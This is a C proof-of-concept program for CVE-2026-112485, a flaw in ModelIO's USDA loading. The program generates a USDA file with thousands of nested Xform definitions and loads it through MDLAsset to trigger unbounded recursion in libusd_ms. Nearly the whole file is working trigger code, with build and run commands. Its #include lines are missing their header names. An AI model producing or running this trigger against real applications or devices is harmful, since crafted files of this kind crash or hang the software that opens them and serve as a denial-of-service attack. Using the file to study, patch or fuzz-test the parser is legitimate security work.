// mdl.usda · ModelIO / libusd_ms · USDA declaration nesting · CVE-2026-112485 // Unbounded recursion on deeply nested USDA definitions // C twin of the Swift POC: builds the 2000-deep Xform USDA and loads it through // MDLAsset (objc runtime casts; libusd_ms runs underneath ModelIO). // Build: clang -O2 -o cve-2026-112485 CVE-2026-112485.c -framework ModelIO -framework CoreFoundation -lobjc // Run: ./cve-2026-112485 [depth] #include #include #include #include #include #include #include // ── seed construction (from CVE-2026-112485.py: build_usda) ── static char *build_usda(int depth, size_t *out_n) { // head + 'def Xform "nI" {' * depth + '}' * depth + newline const char *head = "#usda 1.0\n\n"; size_t open_len = strlen("def Xform \"n0000\" {"); size_t head_n = strlen(head); size_t body_n = (size_t)depth * open_len; size_t tail_n = (size_t)depth; char *out = malloc(head_n + body_n + tail_n + 2); size_t n = 0; memcpy(out, head, head_n); n = head_n; for (int i = 0; i < depth; i++) { n += (size_t)snprintf(out + n, open_len + 1, "def Xform \"n%d\" {", i); } memset(out + n, '}', (size_t)depth); n += (size_t)depth; out[n++] = '\n'; out[n] = 0; *out_n = n; return out; } // ── trigger: MDLAsset(url:) + count (objc_msgSend casts, arm64) ── static id (*msg_id)(id, SEL); // alloc static id (*msg_id_url)(id, SEL, CFURLRef); // initWithURL: static unsigned long (*msg_ul)(id, SEL); // count int main(int argc, char **argv) { int depth = argc > 1 ? atoi(argv[1]) : 2000; msg_id = (id (*)(id, SEL))objc_msgSend; msg_id_url = (id (*)(id, SEL, CFURLRef))objc_msgSend; msg_ul = (unsigned long (*)(id, SEL))objc_msgSend; size_t n = 0; char *usda = build_usda(depth, &n); FILE *f = fopen("deep_nest.usda", "wb"); if (f) { fwrite(usda, 1, n, f); fclose(f); } printf("USDA %zu B · %d levels of nesting\n", n, depth); CFURLRef url = CFURLCreateWithFileSystemPath(NULL, CFSTR("deep_nest.usda"), kCFURLPOSIXPathStyle, false); Class mdlAsset = objc_getClass("MDLAsset"); if (!mdlAsset) { printf("MDLAsset class unavailable\n"); return 1; } clock_t t0 = clock(); id asset = msg_id_url(msg_id((id)mdlAsset, sel_registerName("alloc")), sel_registerName("initWithURL:"), url); double ms = (double)(clock() - t0) / CLOCKS_PER_SEC * 1000.0; if (!asset) { printf("CVE-2026-112485 · MDLAsset returned nil after %.0f ms\n", ms); } else { unsigned long count = msg_ul(asset, sel_registerName("count")); printf("CVE-2026-112485 · MDLAsset load complete %.0f ms, objects %lu\n", ms, count); } printf("seed: deep_nest.usda · libusd_ms caps nesting in 24.1.32, 27.0 recurses unbounded\n"); CFRelease(url); free(usda); return 0; }